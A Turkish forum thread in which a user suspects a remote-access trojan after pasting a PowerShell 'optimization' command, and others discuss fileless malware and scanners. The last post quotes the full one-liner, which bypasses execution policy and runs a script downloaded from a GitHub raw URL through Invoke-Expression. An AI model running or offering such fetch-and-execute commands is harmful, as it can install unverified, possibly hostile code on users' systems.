RAT yedim

726124 dedi:

Hocam sitedeki kullanıcı bu = YurinDoctrine - Overview
Güvenilir hesabada benziyor ama bilemiyorum nasıl oldu bu.

Genişletmek için tıkla...

blaskox dedi:

Bana başta linkin sonundaki parantezi kaldırıp yapıştırmamı söyledi. Öyle yaptığımda hiçbir şey olmadı. Sonra parantezi geri koyup yapıştırdığımda oldu.

Genişletmek için tıkla...

fermaNga dedi:

Yarı hatalı yarı doğru denilebilir. Çeşitli virüslerin bilgisayarda hiçbir dosyası bulunmayıp sadece bellekte çalışabiliyor. Tabii bunu tespit etmek çok da zor bir şey olmayacaktır.

-Farklı farklı tarama araçlarıyla bellek taramaları gerçekleştirmek, (ESET Online Scanner, F-Secure Online Scanner, Emsisoft Emergency Kit, Malwarebytes Free vb.)
-ESET SysInspector veya Kaspersky GSI ile sistem dökümü oluşturmak,
-Autoruns, ProcessExplorer gibi programlar aracılığıyla incelemeler yapmak.

Yüzde 100 olamayacak olsa da yüksek ihtimalle bu 3 şey ile bellekte çalışan virüsler tespit edilebilir.

Genişletmek için tıkla...

Klaizee dedi:

Tamam, virüs RAM'e sızdı diyelim. PC kapanıp açıldığında RAM içindeki verilerin sıfırlanmış olmasına ne açıklaman var?

Genişletmek için tıkla...

fermaNga dedi:

Startup zararlılarının amacı bu zaten. Sistem boot edilir edilmez virüs tekrardan RAM'de aktif oluyor. RAM'in verileri sıfırlansın yani önemli değil.

Genişletmek için tıkla...

blaskox dedi:

Herkese selam, PowerShell'e gereksiz uygulamaları kapattığı gerekçesiyle bir kod yapıştırdım. Yeniden başlattığımda, yüksek CPU kullanımı ve donmalar gördüm. Mikrofonum kapalı kullanıyordum. "mikrofonunuz gizlilik ayarlarınız sebebiyle açılamadı." bildirimi geldi, RAT olduğundan şüphelenip hemen internetsiz formatla Windows'u baştan kurdum. Formattan sonra bilgisayarımı açtığımda aynı sorunların devam ettiğini gördüm. Malwarebytes ile tarama yaptığımda herhangi bir virüs bulamadım. Yardımcı olabilirseniz çok sevinirim. Herkese iyi sosyaller

Genişletmek için tıkla...

Klaizee dedi:

Arkadaş sisteme format atmış, startup nerde yaşayacak?

Genişletmek için tıkla...

726124 dedi:

Arkadaş kodu bende yapıştırıp deneyesim var.

Genişletmek için tıkla...

blaskox dedi:

Atmam yanlış mı bilmiyorum ama. Kod;
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force; Start-BitsTransfer -Source "https://raw.githubusercontent.com/YurinDoctrine/Fresh-Script-Lite/main/Fresh-Lite/ooshutup.cfg"; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/YurinDoctrine/Fresh-Script-Lite/main/Fresh-Lite/Lite.ps1'))

Genişletmek için tıkla...